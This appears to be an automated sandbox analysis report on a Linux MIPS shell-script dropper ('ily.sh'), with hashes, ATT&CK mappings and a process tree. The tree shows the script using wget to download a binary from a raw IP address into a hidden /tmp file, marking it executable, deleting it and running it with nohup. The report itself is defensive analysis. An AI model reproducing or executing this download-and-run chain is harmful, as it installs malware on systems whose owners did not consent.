affc304c8af4ef59809088d1b9f772cb3aab8b97437d79d89606b13300b02dd7

Analysis

max time kernel
1s
max time network
4s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
30/09/2026, 18:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ily.sh
Size 884B
Sample260930-w95fcst1hw
SHA256 affc304c8af4ef59809088d1b9f772cb3aab8b97437d79d89606b13300b02dd7
MD5 b42fccc9a51915fb46af7cfcc2842a8d
SHA1 9618335f17eba1301740b04fd8913f4ed7731d9a
SHA512 f9c995b59cdaad22e3a14a7f8d2f2a7dfe85a4b9d0764a9576c444ef12ab24f39a6b814791f6f9e85a3199868ed3c987cb2cb1fba9acdc46882c6bcff043ca2a
TLSH
T1C411E35295A05673B54B98AF2B4C51C16496212AC570DE21B4DF2840AF0EC2870EBF01
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
734	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/.ud	737	nohup

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
718	wget

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.ud	wget

/tmp/ily.sh
/tmp/ily.sh
1⤵
PID:714
- /bin/uname
  uname -m
  2⤵
  PID:716
- /usr/bin/wget
  wget -q -O .ud http://143.20.185.213/mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:718
- /bin/chmod
  chmod +x .ud
  2⤵
  - File and Directory Permissions Modification
  PID:734
- /bin/date
  date "+%s"
  2⤵
  PID:736
- /bin/rm
  rm -f ./.ud
  2⤵
  PID:738
- /usr/bin/nohup
  nohup ./.ud n93562.ud
  2⤵
  - Executes dropped EXE
  PID:737
- /tmp/.ud
  ./.ud n93562.ud
  2⤵
  PID:737

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.ud

Path /tmp/.ud
Size 837KB
SHA256 87636741a0c01869a100e6d9d396eafe24d8392cd543af30f07d9c28291be1ce
MD5 83e660d9e4215b3e51d949259f832140
SHA1 a3bbc45e88b6a5b1e11d594b4ae3294d5d9be7b6
SHA512 b3b24a5d04285f7d4151986328a1aaa82486a4d730af3410018d1a75428a6ca036a5e25b74d5678332a2d484d96bc2eca61fc9edd682a25c42b32529698b8030
SSDEEP 24576:Q0kerzMd7EAKZnfiC4pjGwn/6aBInEMSm0:ArC4p3nUEn
TLSH
T1EB057D53F7318F54D360D27908E3876596A625A20BE395C6A37DC2203A1077D6CAFFE8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download